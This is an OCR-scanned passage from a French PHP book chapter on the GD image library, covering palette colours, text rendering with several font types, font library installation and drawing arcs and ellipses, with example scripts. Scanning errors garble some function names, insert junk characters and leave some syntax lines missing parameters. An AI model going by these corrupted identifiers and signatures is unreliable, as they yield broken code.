
$al pha Composante Alpha de la couleur desiree. 

retour Identifiant de la couleur la plus proche de la couleur desiree. 

II est egalement possible de demander a ce que la couleur soit creee, si jamais elle n'est pas 
disponible dans la palette. 



imageColorResolve () 
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Retourne l'identifiant de la couleur si elle est dans la palette. Si la couleur n'est pas dans la 
palette, une nouvelle couleur est ajoutee a la palette. S'il n'y a plus de place dans la palette, c'est 
l'identifiant de la couleur la plus proche qui est retourne. 

Syntaxe int imageColorResol ve(resource $image, int $rouge, int $vert, 

int $bleu) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$rouge Composante rouge de la couleur desiree. 

$vert Composante verte de la couleur desiree. 

$bl eu Composante bleue de la couleur desiree. 

retour Identifiant de la couleur desiree ou de la couleur la plus proche de la 

couleur desiree. 



imageColorResolveAlpha () 



Retourne l'identifiant de la couleur si elle est dans la palette, en tenant compte de la 
composante Alpha (transparence). Si la couleur n'est pas dans la palette, une nouvelle couleur 
est ajoutee a la palette. S'il n'y a plus de place dans la palette, c'est l'identifiant de la couleur la 
plus proche qui est retourne. 

Syntaxe int imageColorResol veAlpha(resource $image, int $rouge, int 

$vert, int $bleu) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$rouge Composante rouge de la couleur desiree. 

$vert Composante verte de la couleur desiree. 

$bl eu Composante bleue de la couleur desiree. 

$al pha Composante Alpha de la couleur desiree. 

retour Identifiant de la couleur desiree ou de la couleur la plus proche de la 

couleur desiree. 
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Pour recuperer les composantes (rouge, verte, bleue) d'un element de la palette, il suffit 

d'utiliser la fonction imageColorsForlndex ( ) . 



imageColorsForlndex () 

Retourne les composantes rouge, verte et bleue d'une couleur de la palette. 

Syntaxe array imageColorsForIndex(resource $image, int $couleur) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$couleur Identifiant de la couleur tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 

retour Tableau associatif contenant les cles "red" contenant la composante 

rouge, "green" contenant la composante verte et "blue" contenant la 
composante bleue. 

Modifier la palette 

La fonction imageColorSet ( ) permet de remplacer une couleur de la palette. 



imageColorSetQ 



Remplace une couleur de la palette par une autre. 

Syntaxe boolean imageColorSet (resource $image, int $couleur, int 

$rouge, int $vert, int $bleu) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$couleur Identifiant de la couleur tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 

$rouge Nouvelle composante rouge de la couleur desiree. 

$ vert Nouvelle composante verte de la couleur desiree. 

$bl eu Nouvelle composante bleue de la couleur desiree. 

retour FALSE en cas d'echec. 

II est egalement possible d'effectuer facilement une correction gamma sur une image avec la 

fonction imageGammaCorrect ( ) . 
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Chapitre 1 3 Les images et les animations Flash 

imageGammaCorrect () 

Effectue une correction gamma sur une image. 

Syntaxe boolean imageGammaCorrect (resource $image, double 

$gammaEntree, double $gammaSortie) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$gammaEntree Gamma initial de l'image (probablement 1.0). 

$gammaSortie Gamma corrige. 

retour TRUE. 

Une fonction permet de transformer une image TrueColor en image limitee a 256 couleurs : 



ImageTrueColorToPalette () 

Transforme une image TrueColor en image a palette. 

Syntaxe void imageTrueColorToPalette(resource $image, boolean $dither, 

int $nbCouleurs) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$di ther En mettant a TRUE ce parametre, cela autorise le "dithering" qui permet 

d'obtenir des images, certes plus granuleuses, mais les couleurs seront plus 
proches de celles d'origine. 

$nbCoul eurs Nombre de couleurs que Ton souhaite dans la palette. 

Supprimer des couleurs 

Nous avons deja VU les fonctions imageColorAllocate ( ) et imageColorResolve( ) qui 

permettent d'ajouter une couleur a la palette de couleurs. Sachez qu'il est egalement possible 
de retirer des couleurs de la palette a l'aide de la fonction imageColorDeaiiocate ( ) dont 
voici la signature : 



imageColorDeaiiocate () 

Supprime une couleur de la palette de couleurs. 



Syntaxe boolean imageColorDeal locate(resource $image, int $couleur) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 
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$coul eur Identifiant de la couleur a supprimer, tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 

retour FALSE en cas d'echec, TRUE sinon. 



Nombre de couleurs dans la palette 



On peut egalement compter le nombre de couleurs definies dans une image grace a la fonction 

imageColorsTotal ( ) . 



imageColorsTotal() 

Retourne le nombre de couleurs dans la palette de l'image. 

Syntaxe int imageColorsTotal (resource $image) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

retour Nombre de couleurs dans la palette. 



Du texte dans les images 



Plusieurs fonctions sont disponibles pour afficher du texte dans une image. Elles se distinguent 
notamment par le format de la police de caracteres utilisee. 

On trouve ainsi, les polices : 

GD, une police "bitmap" propre a la bibliotheque gd ; 
■ TrueType, FreeType 2, PS des polices vectorielles. 

Contrairement aux polices "bitmap", les polices vectorielles gardent leur aspect quelle que soit 
la taille que vous leur imposez. 

Police de caracteres GD 

imagestring ( ) est une fonction qui permet d'ecrire horizontalement une chaine de 
caracteres. imagestringup ( ) est son homologue, qui permet d'ecrire de bas en haut. Ces deux 
fonctions ont des signatures identiques : 



imageStringO 

Ecrit horizontalement une chaine de caracteres sur l'image. 
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Chapitre 1 3 Les images et les animations Flash 



Syntaxe void imageString (resource $image, int $police, int $x, int $y, 

string $texte, int $couleur) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$pol i ce Identifiant de la police d'ecriture a utiliser. Entre 1 et 5 s'il s'agit d'une 

police proposee par defaut PHP ; un nombre superieur retourne par 

imageLoadFont ( ) sinon. 

$x Abscisse du point superieur gauche du texte. 

$y Ordonnee du point superieur gauche du texte. 

$texte Texte a afficher. 

$couleur Identifiant de la couleur du texte tel que retourne par la fonction 

imageColorAllocate ( ) . 



imageStringUpO 

Ecrit verticalement, de bas en haut, une chaine de caracteres sur l'image. 

Syntaxe void imageStringUp(resource $image, int $police, int $x, int 

$y, string $texte, int $couleur) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$pol i ce Identifiant de la police d'ecriture a utiliser. Entre 1 et 5 s'il s'agit d'une 

police proposee par defaut ; un nombre superieur retourne par 

imageLoadFont ( ) sinon. 

$x Abscisse du point superieur gauche du texte. 

$y Ordonnee du point superieur gauche du texte. 

$texte Texte a afficher. 

$couleur Identifiant de la couleur du texte tel que retourne par la fonction 

imageColorAllocate ( ) . 

Les polices par defaut (entre 1 et 5) portent les noms suivants : 1 = Tiny, 2 = Small, 3 = 
MediumBold, 4 = Large et 5 = Giant. 

En Utilisant imageString ( ) et imageStringUp ( ) , voici ce que Ton peut faire : 

Listing 13.4 : gd_03.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 200; 

$hauteur = 100; 

$image = imageCreate($largeur, $hauteur) ; 

$transparent = imageColorAllocate($image, 255, 0, 0); 

$noir = imageColorAl locate($image, 0, 0, 0); 
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imageColorTransparent($image, $transparent) ; 

imageString($image, 1, 10, 10, "police 1", $noir); 

imageString($image, 2, 10, 25, "police 2", $noir); 

imageString($image, 3, 10, 40, "police 3", $noir); 

imageString($image, 4, 10, 55, "police 4", $noir); 

imageString($image, 5, 10, 70, "police 5", $noir); 

imageStringUp($image, 5, 150, 100, "imageStringUp", $noir); 

imagePNG($image) ; 
imageDestroy($image) ; 



!> 



Ce script ecrit cinq chaines de caracteres horizontalement utilisant les cinq polices d'ecriture 
disponibles, puis utilise la fonction similaire permettant d'ecrire verticalement. 

BfliiigaMiBmiMBin Fi ^i3.2 



Q Precedente - , [Kj |s] /J) Z) Rechercher "j^VFav. 

Adresse :&} httpi^locdlhost/BiblePHPscripts/chdplS/clZ-gdOZ.php v- Q OK 



pCllCr 1 ?. 

police 3 

police 4 
police 5 



Utilisation 
d'imageString et 
imageStringUp 



Deux fonctions similaires, et ayant la meme syntaxe que celles qui viennent d'etre vues, existent 
et ne servent qu'a afficher le premier caractere d'une chaine de caracteres. II s'agit de : 
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imageChar() 



Ecrit horizontalement le premier caractere d'une chaine de caracteres sur l'image. 

imageCharUpO 

Ecrit verticalement, de bas en haut, le premier caractere d'une chaine de caracteres sur l'image. 

Taille du texte 

La fonction suivante retourne la hauteur en pixels d'une police d'ecriture GD. 



1043 



co 




03 




^~ 


«"~ 




GO 


CD 


CO 






<S> 


Ll_ 


03 




at 


CO 


CO 


£= 


E 


_o 




To 


CD 


E 


_l 


'E 




CO 


m 









Chapitre 1 3 Les images et les animations Flash 

imageFontHeight() 

Hauteur d'un caractere de la police d'ecriture GD. 

Syntaxe int imageFontHeight(int $police) 

$pol i ce Identifiant de la police d'ecriture. 

retour Hauteur de la police (en pixels). 

Celle-ci retourne la largeur : 

imageFontWidth() 

Largeur d'un caractere de la police d'ecriture GD. 

Syntaxe int imageFontWidth(int $police) 

$pol i ce Identifiant de la police d'ecriture. 

retour Largeur de la police (en pixels). 

Personnalisation 

II est possible d'utiliser son propre fichier de police d'ecriture en utilisant la fonction suivante : 

imageLoadFont ( ) 



imageLoadFont() 

Charge un fichier de police de caracteres GD. 

Syntaxe int imageLoadFont (string $nomFichier) 

$nomFi chi er Nom du fichier de police d'ecriture. 

retour Identifiant de police d'ecriture (ayant une valeur > 5, les cinq premieres 

etant les polices PHP par defaut). 

Police de caracteres TrueType 

Afin de pouvoir utiliser la police TrueType, vous devez installer la bibliotheque en plus de gd. 

Installation sous Linux 

Recuperez la bibliotheque a l'adresse http://www.freetype.org/. II s'agit d'un fichier freetype- 
2.1.0.tar.gz (egalement disponible sur le CD-ROM). 
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Apres avoir copie le fichier dans un repertoire donne (ex. :/usr/local/src/lib), decompressez le 
fichier 

# gunzip freetype-2.1.0.tar.gz 

# tar xvf freetype-2.1.0.tar 

# cd freetype-2.1.0 

Puis compilez la bibliotheque : 

# ./configure 
Et installez-la : 

# make install 

Vous devez avoir maintenant une serie de fichiers libfreetype* dans le repertoire /usr/local/lib. 
Vous pouvez alors recompiler PHP avec l'option —with-freetype-dir= /usr/local/lib. 

> Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details. 



RENVOI 



Verification 

Vous pouvez verifier le bon deroulement des operations d'installation en appelant un simple 
script contenant <?php phpinf o ( ) ,• ?>. Celui-ci devra laisser apparaitre : 



gd 




GD Support 


enabled 


GD Version 


1 .6.2 or higher 


FreeType Support 


enabled 


FreeTupe Linkage 


with freety pe 


JPG Support 


enabled 


PHG Support 


enabled 


WBMP Support 


enabled 



Figure 13.3 

phpinf o() 
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Et qui doit done contenir une ligne "FreeType linkage 
(eventuellement "with ttf Library"). 

Utilisation 



with freetype" 



Polices d'ecriture 

Etant donne que les images sont generees du cote du serveur, il n 'est pas utile que le 
client ait installe les polices utilisees pour la generation des images. 



Pour afficher du texte avec une telle police, il faut utiliser la fonction imageTTFText ( ) dont la 
signature est la suivante : 
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Chapitre 1 3 Les images et les animations Flash 

imageTTFText() 

Ecrit une chaine de caracteres sur l'image en utilisant une police TrueType. 

Syntaxe array imageTTFText (resource $image, int $taille, int $angle, 

int $x, int $y, int $couleur, string $police, string $texte) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$taille Taille du texte. 

$angl e Angle du texte en degres (0 = texte horizontal, 90 = texte vertical de bas en 

haut). 

$x Abscisse du coin inferieur gauche du premier caractere de la chaine. 

$y Ordonnee du coin inferieur gauche du premier caractere de la chaine. 

$couleur Identifiant de la couleur du texte tel que retourne par la fonction 

imageColorAllocate ( ) . 

$pol i ce Nom du fichier de la police TrueType 

$texte Texte a afficher. 

retour Tableau contenant quatre elements indetermines. 

Par defaut, une operation d'"anti-aliasing" est effectuee sur le texte. Pour retirer cet effet, il 
suffit de faire preceder la couleur du signe '-'. 



jf?k Trouver des polices d'ecriture 

%$' Vous trouverez de nombreuses polices d'ecriture libres de droits sur 

INTERNET http://www. 123fonts.com. 

Voici un exemple de script utilisant differents angles : 

Listing 13.5 : gd_04.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 250; 

$hauteur = 200; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageTTFText($image, 20, 0, 20, 20, -$noir, 

"melanie.TTF", "Police TrueType A"); 

imageTTFText ($image, 20, 0, 20, 40, $noir, 

"melanie.TTF", "Police TrueType B"); 

imageTTFText($image, 20, 0, 20, 60, -$noir, 

"junist.TTF", "Police TrueType C"); 

imageTTFText($image, 20, 0, 20, 80, $noir, 
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"junist.TTF", "Police TrueType D") 
imageTTFText($image, 20, 180, 130, 85, -$noir, 

"junist.TTF", "Police TrueType E") 
imageTTFText($image, 20, 90, 200, 150, -$noir, 

"junist.TTF", "Police TrueType F") 
imageTTFText($image, 30, 20, 5, 190, -$noir, 

"junist.TTF", "Police TrueType G") 

imagePNG($image) ; 
imageDestroy($image) ; 



Fichier Edition AFFichage Favoris Out " ft 
Qprecedente • (J 



Adresse \^} http://localhost/BiblE vj Q QK Liens 



police UuHypf? & 
police tfueiyi* b t. 

fW«* TrwTtl« D f 



^ 



.-^ 



Figure 13.4 : 

Utilisation d'imageTTFText 



Taille du texte 

Si vous souhaitez centrer votre texte, vous devrez connaitre sa taille. Pour cela, vous pouvez 
faire appel a : 
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imageTTFBBoxQ 



Cette fonction permet de connaitre les coordonnees du rectangle entourant une chaine de 
caracteres ecrite a l'aide d'une police TrueType. 

Syntaxe array imageTTFBBox(int $taillePol ice, int $angle, string 

$police, string $texte) 

$tai 1 1 ePol i ce Taille de la police en pixels. 

$angl e Angle avec lequel le texte est ecrit. 

$pol i ce Nom du fichier de la police d'ecriture. 

$texte Texte dont on veut connaitre les coordonnees du rectangle. 

retour Un tableau a huit elements (abscisse du point inferieur gauche, ordonnee 

du point inferieur gauche, abscisse du point inferieur droit, ordonnee du 
point inferieur droit, abscisse du point superieur droit, ordonnee du point 
superieur droit, abscisse du point superieur gauche, ordonnee du point 
superieur gauche). 
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Chapitre 1 3 Les images et les animations Flash 



Police de caracteres FreeType 2 

Une autre fonction imageFtText ( )permet d'afficher du texte en utilisant des polices 
d'ecriture de type FreeType 2. Sa syntaxe est proche de celle d'imageTTFText ( ) ; un 
parametre supplemental permet toutefois de passer d'autres informations. 



imageFtText() 

Ecrit une chaine de caracteres sur l'image en utilisant une police FreeType 2. 

Syntaxe array imageFtText (resource $image, int $taille, int $angle, 

int $x, int $y, int $couleur, string $police, string $texte, 
array $infos) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$taille Taille du texte. 

$angl e Angle du texte en degres (0 = texte horizontal, 90 = texte vertical de bas en 

haut). 

$x Abscisse du coin inferieur gauche du premier caractere de la chaine. 

$y Ordonnee du coin inferieur gauche du premier caractere de la chaine. 

$couleur Identifiant de la couleur du texte tel que retourne par la fonction 

imageColorAllocate ( ) . 

$pol i ce Nom du fichier de la police FreeType. 

$texte Texte a afficher. 

$i nfos Tableau associatif contenant d'autres parametres. Pour le moment, seule 

la cle "linespacing" est prise en compte et permet de specifier la 
largeur de l'interligne (coefficient par rapport a l'interligne par defaut). 

retour Tableau contenant quatre elements indetermines. 

Pour ecrire avec un interligne double de la normale, il suffit d'ecrire : 

imageFtText($image, $taille, $angle, $x, $y, $couleur, $police, 
$texte, array("l inespacing" => 2)) 

Taille du texte 



imageFTBBoxO 



Cette fonction permet de connaitre les coordonnees du rectangle entourant une chaine de 
caracteres ecrite a l'aide d'une police TrueType II. 
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Syntaxe array imageFTBBox(int $taillePol ice, int $angle, string 

$police, string $texte[, array $infos]) 

$tai 1 1 ePol i ce Taille de la police en pixels. 

$angl e Angle avec lequel le texte est ecrit. 

$pol i ce Nom du fichier de la police d'ecriture. 

$texte Texte dont nous voulons connaitre les coordonnees du rectangle. 

$ i nf os Informations supplementaires telles que l'interligne. 

retour Un tableau a huit elements (abscisse du point inferieur gauche, ordonnee 

du point inferieur gauche, abscisse du point inferieur droit, ordonnee du 
point inferieur droit, abscisse du point superieur droit, ordonnee du point 
superieur droit, abscisse du point superieur gauche, ordonnee du point 
superieur gauche). 

Police de caracteres Postscript 

Installation sous Linux 

/£\ Installation 

*» Les polices Postscript ne peuvent etre utilisees que si la bibliotheque tllib a ete 

REMARQJE installee. 

Recuperez la bibliotheque a l'adresse ftp://sunsite.unc.edu/pub/Linux/libs/graphics/. II s'agit d'un fi- 
chier tllib-1.3.1.tar.gz (egalement disponible sur le CD-ROM). 

Apres avoir copie le fichier dans un repertoire donne (ex. :/usr/local/src/lib), decompressez-le : 

# gunzip tllib-1.3. l.tar.gz 

# tar xvf tllib-1.3. l.tar 

# cd tllib-1.3.1 

Puis compilez la bibliotheque : 

# ./configure 

# make without_doc 

Et installez-la : 

# make 

Vous devez avoir maintenant une serie de fichiers libtl * dans le repertoire /usr/local/lib. 
Vous pouvez alors recompiler PHP avec l'option -with-tllib. 
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RENVOI 



» Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



1049 



co 




CD 




^~ 


«"" 




CO 


CD 


CO 






<S> 


Ll_ 


03 




at 


CO 


CO 


£= 


E 


_o 




"co 


CD 


E 


_l 


'E 




CO 


m 









Chapitre 1 3 Les images et les animations Flash 



Verification 

Les lignes retournees par <?php phpinf o ( ) ; ?> et concernant la bibliotheque gd doivent 
alors laisser apparaitre l'indication "TlLib support enabled". 

Utilisation 

II est done possible d'ecrire du texte en utilisant une police PostScript grace a la fonction 

imagePSText ( ) . 



imagePSText() 

Ecrit une chaine de caracteres sur 1'image en utilisant une police Postscript. 

Syntaxe array imagePSText (resource $image, string $texte, resource 

$police, int $taille, int $couleurTexte, $couleurFond, int $x, 
int $y [, int $largeurEspace, int $espaceCar, double $angle, 
int $antiAl iasing] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$texte Texte a afficher. 

$police Identifiant de police tel que retourne par la fonction 

imagePSLoadFont ( ) . 

$taille Taille du texte en pixels. 

$couleurTexte Identifiant de la couleur du texte tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 

$couleurFond Identifiant de la couleur du fond tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 

$x Abscisse du coin inferieur (base) gauche du premier caractere de la chaine 

(par exemple, pour la lettre p, la base se situe en dessous de la "boucle" et 
non au bas du "pied"). 

$y Ordonnee du coin inferieur (base) gauche du premier caractere de la 

chaine (par exemple, pour la lettre p, la base se situe en dessous de la 
"boucle" et non au bas du "pied"). 

$1 argeurEspace Largeur (en pixels) du caractere "espace". 

$espaceCar Espace (en pixels) entre les caracteres. 

$angl e Angle du texte en degres (0 = texte horizontal, 90 = texte vertical de bas en 

haut). 

$anti Al iasing Nombre de parametres a utiliser pour l'anti-aliasing (4 ou 16). 

retour Tableau contenant quatre elements indetermines. 
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imagePSLoadFont() 

Charge une police d'ecriture PostScript de type 1. 

Syntaxe resource imagePSLoadFont(string $fileName) 

$f i 1 eName Nom du fichier PostScript a charger, 

return Identifiant de la police d'ecriture. 

Tattle du texte 



imagePSBBoxQ 



Cette fonction permet de connaitre les coordonnees du rectangle entourant une chaine de 
caracteres ecrite a 1'aide d'une police PostScript de type 1. 

Syntaxe array imagePSBBox(string $texte, resource $police, int $taille 

[,int $largeurEspace, int $espaceCar, double $angle]) 

$texte Texte dont vous souhaitez connaitre les coordonnees du rectangle de 

contour. 

$police Identifiant de police tel que retourne par la fonction 

imagePSLoadFont ( ) . 

$ t a i 1 1 e Taille du texte en pixels. 

$1 argeurEspace Largeur (en pixels) du caractere "espace". 

$espaceCar Espace (en pixels) entre les caracteres. 

$angl e Angle du texte en degres (0 = texte horizontal, 90 = texte vertical de bas en 

haut). 

retour Un tableau a quatre elements, (abscisse du point inferieur gauche, 

ordonnee du point inferieur gauche, abscisse du point superieur droit, 
ordonnee du point superieur droit). 

Personnalisation 

II est possible de modifier les polices Postscript a 1'aide des fonctions suivantes : 
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imagePSEncodeFont () 



Permet de changer le codage vectoriel d'un caractere d'une police. Les polices d'ecriture 
PostScript ne gerent pas les caracteres apres 127. Pour utiliser une autre langue que l'anglais 
(contenant par exemple des caracteres accentues), il peut etre indispensable de modifier le 
codage vectoriel. 
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Syntaxe boolean imagePSEncodeFont (resource $police, string 

$nomFichier) 

$police Identifiant de la police d'ecriture a modifier tel que retourne par 

imagePSLoadFont ( ) . 

$nomFi chi er Nom du fichier contenant le nouveau codage vectoriel. 

retour TRUE. 



imagePSExtendFont () 

Permet d'etendre ou de condenser une police d'ecriture. 

Syntaxe boolean imagePSExtendFont (resource $police, float $extension) 

$police Identifiant de la police d'ecriture a modifier tel que retourne par 

imagePSLoadFont ( ) . 

$extensi on Indice d'extension ; s'il est inferieur a un alors la police sera condensee. 

retour TRUE si l'operation a pu se faire, FALSE sinon. 



imagePSSlantFontO 

Cette fonction permet de mettre en italique une police d'ecriture. 

Syntaxe boolean imagePSSlantFont(resource $police, float $coeff) 

$police Identifiant de la police d'ecriture tel que retourne par 

imagePSLoadFont ( ) . 

$coef f Coefficient d'inclinaison. 

retour TRUE si l'operation a pu se faire, FALSE sinon. 

Liberation des ressources 

imagePSFreeFont() 

Libere la memoire occupee par une police d'ecriture PostScript de type 1. 

Syntaxe void imagePSFreeFont(resource $police) 

$police Identifiant de la police d'ecriture tel que retourne par 

imagePSLoadFont ( ) . 
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Dessiner des formes geometriques 



II est possible de faire ses dessins point par point, en utilisant une fonction qui permet de 
n'afficher qu'un seul pixel : 



imageSetPixelQ 



Permet d'afficher un pixel d'une certaine couleur. 

Syntaxe boolean imageSetPixel (resource $image, int $x, int $y, int 

$couleur) 

$ i mage Identifiant de l'image sur laquelle dessiner le pixel. 

$x Abscisse du pixel a dessiner. 

$y Ordonnee du pixel a dessiner. 

$coul eur Identifiant de la couleur a donner au pixel. 

retour TRUE. 

Grace a cette meme bibliotheque, il est aussi possible de dessiner des traits. 



imageLine() 

Permet de dessiner un trait. 

Syntaxe boolean imageLine(resource $image, int $xl, int $yl, int $x2, 

int $y2, int $couleur) 

$ i mage Identifiant de l'image sur laquelle dessiner le trait. 

$x 1 Abscisse du point de depart. 

$y 1 Ordonnee du point de depart. 

$x2 Abscisse du point d'arrivee. 

$y2 Ordonnee du point d'arrivee. 

$couleur Identifiant de la couleur du trait, lMG_COLOR_BRUSHED (voir 

imageSetBrushO), IMG_COLOR_STYLED (voir 

imageSetStyle ( ) ) ou IMG_COLOR_STYLEDBRUSHED. 

retour TRUE. 

II est egalement possible de dessiner des traits en pointilles. 
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Chapitre 1 3 Les images et les animations Flash 

imageDashedLine() 

Permet de dessiner un trait en pointilles. 

Syntaxe boolean imageDashedLine( resource $image, int $xl, int $yl, int 

$x2, int $y2, int $couleur) 

$ i mage Identifiant de l'image sur laquelle dessiner le trait. 

$ x 1 Abscisse du point de depart. 

$y 1 Ordonnee du point de depart. 

$x2 Abscisse du point d'arrivee. 

$y2 Ordonnee du point d'arrivee. 

$coul eur Identifiant de la couleur du trait. 

retour TRUE. 

Envie de vous prendre pour Picasso ? II est possible de dessiner des arcs d'ellipses, des cercles, 
des polygones, des rectangles, des carres... 



imageArc() 

Permet de dessiner un arc d'ellipse ou de cercle. 

Syntaxe boolean imageArc (resource $image, int $centreX, int $centreY, 

int $largeur, int $hauteur, int $angleDebut, int $angleFin, int 
$couleur) 

$ i mage Identifiant de l'image sur laquelle dessiner l'arc d'ellipse. 

$centreX Abscisse du centre de l'ellipse. 

$centreY Ordonnee du centre de l'ellipse. 

$largeur Largeur de l'ellipse. 

$hauteur Hauteur de l'ellipse. 

$angl eDebut Angle en degres ou commencer le trace. correspond a 3 H, 90 a 6 H, 180 

a9H. 

$angl eFi n Angle en degres ou finir le trace. 

$coul eur Identifiant de la couleur de l'ellipse. 

retour TRUE. 

Listing 13.6 : gdarc.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 290; 
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$hauteur = 50; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageArc($image, 40, 25, 60, 30 , 0, 240, $noir); 

imageArc($image, 110, 25, 60, 30, 90, 180, $noir); 

imageArc($image, 180, 25, 60, 30, 180, 360, $noir); 

imageArc($image, 250, 25, 30, 30, 0, 360, $noir); 

imagePNG($image) ; 
imageDestroy($image) ; 



!> 



3 hMpi/ZlocallTOSt/BiblePHPscripts/clM.. 
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Figure 13.5 : 

imageArc() 



imageFilledArcO 



Permet de dessiner un arc d'ellipse ou de cercle plein. 

Syntaxe boolean imageFil ledArc(resource $image, int $centreX, int 

$centreY, int $largeur, int $hauteur, int $angleDebut, int 
$angleFin, int $couleur, int $style) 

$ i mage Identifiant de l'image sur laquelle dessiner l'arc d'ellipse. 

$centreX Abscisse du centre de l'ellipse. 

$centreY Ordonnee du centre de l'ellipse. 

$largeur Largeur de l'ellipse. 

$hauteur Hauteur de l'ellipse. 

$angl eDebut Angle en degres ou commencer le trace. correspond a 3 H, 90 a 6 H, 180 

a9H. 

$angl eFi n Angle en degres ou finir le trace. 

$coul eur Identifiant de la couleur de l'ellipse. 

$ style Permet de definir comment remplir l'arc de cercle; quatre valeurs 

combinables sont definies : IMG_ARC_PIE, lMG_ARC_CHORD, 
IMG_ARC_N0FILL, IMG_ARC_EDGED. Plutot que de decrire ces 
constantes, nous vous suggerons de regarder l'effet de ces styles sur 
l'exemple qui suit. 

retour TRUE. 
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Listing 13.7 : gdjarc.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 290; 

$hauteur = 210; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAl locate($image, 0, 0, 0); 

imageFilledArc($image, 40, 25, 60, 30 , 0, 240, 

$noir, IMG_ARC_PIE); 
imageFilledArc($image, 110, 25, 60, 30, 90, 180, 

$noir, IMG_ARC_PIE); 
imageFilledArc($image, 180, 25, 60, 30, 180, 360, 

$noir, IMG_ARC_PIE); 
imageFilledArc($image, 250, 25, 30, 30, 0, 360, 

$noir, IMG_ARC_PIE); 
imageFilledArc($image, 40, 65, 60, 30 , 0, 240, 

$noir, IMG_ARC_CH0RD) ; 
imageFilledArc($image, 110, 65, 60, 30, 90, 180, 

$noir, IMG_ARC_CH0RD) ; 
imageFilledArc($image, 180, 65, 60, 30, 180, 360, 

$noir, IMG_ARC_CH0RD) ; 
imageFilledArc($image, 250, 65, 30, 30, 0, 360, 

$noir, IMG_ARC_CH0RD) ; 
// IMG_ARC_N0FILL utilise tout seul revient a 
// utiliser imageArcQ au lieu de imageFilledArc() 
imageFilledArc($image, 40, 105, 60, 30 , 0, 240, 

$noir, IMG_ARC_N0FILL); 
imageFilledArc($image, 110, 105, 60, 30, 90, 180, 

$noir, IMG_ARC_N0FILL); 
imageFilledArc($image, 180, 105, 60, 30, 180, 360, 

$noir, IMG_ARC_N0FILL); 
imageFilledArc($image, 250, 105, 30, 30, 0, 360, 

$noir, IMG_ARC_N0FILL); 
imageFilledArc($image, 40, 145, 60, 30 , 0, 240, 

$noir, IMG_ARC_EDGED) ; 
imageFilledArc($image, 110, 145, 60, 30, 90, 180, 

$noir, IMG_ARC_EDGED) ; 
imageFilledArc($image, 180, 145, 60, 30, 180, 360, 

$noir, IMG_ARC_EDGED) ; 
imageFilledArc($image, 250, 145, 30, 30, 0, 360, 

$noir, IMG_ARC_EDGED) ; 
// II est egalement possible de combiner les effets 
imageFilledArc($image, 40, 185, 60, 30 , 0, 240, 

$noir, IMG_ARC_EDGED | IMG_ARC_N0FILL) 
imageFilledArc($image, 110, 185, 60, 30, 90, 180, 

$noir, IMG_ARC_EDGED | IMG_ARC_N0FILL) 
imageFilledArc($image, 180, 185, 60, 30, 180, 360, 

$noir, IMG_ARC_EDGED | IMG_ARC_N0FILL) 
imageFilledArc($image, 250, 185, 30, 30, 0, 360, 
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$noir, IMG ARC EDGED | IMG ARC NOFILL); 



imagePNG($image) ; 
imageDestroy($image) ; 



!> 




Figure 13.6 : 

imageFilledArc () 



imageEllipseQ 



Permet de dessiner une ellipse ou un cercle (necessite GD 2 ou plus). 
Syntaxe 



$ image 

$centreX 

ScentreY 

$largeur 

$hauteur 

$couleur 

retour 



boolean imageEll ipse(resource $image, int $centreX, int 
$centreY, int $largeur, int $hauteur) 

Identifiant de l'image sur laquelle dessiner l'ellipse. 

Abscisse du centre de l'ellipse. 

Ordonnee du centre de l'ellipse. 

Largeur de l'ellipse. 

Hauteur de l'ellipse. 

Identifiant de la couleur de l'ellipse. 

TRUE. 
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imageFilledEllipse () 



Permet de dessiner une ellipse ou un cercle rempli (necessite GD 2 ou plus). 
Syntaxe 



$ image 
$centreX 
$centreY 
$largeur 



boolean imageFil ledEl 1 ipse(resource $image, int $centreX, int 
$centreY, int $largeur, int $hauteur) 

Identifiant de l'image sur laquelle dessiner l'ellipse. 

Abscisse du centre de l'ellipse. 

Ordonnee du centre de l'ellipse. 

Largeur de l'ellipse. 
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$hauteur 
$couleur 
retour 



Hauteur de l'ellipse. 

Identifiant de la couleur de l'ellipse. 

TRUE. 
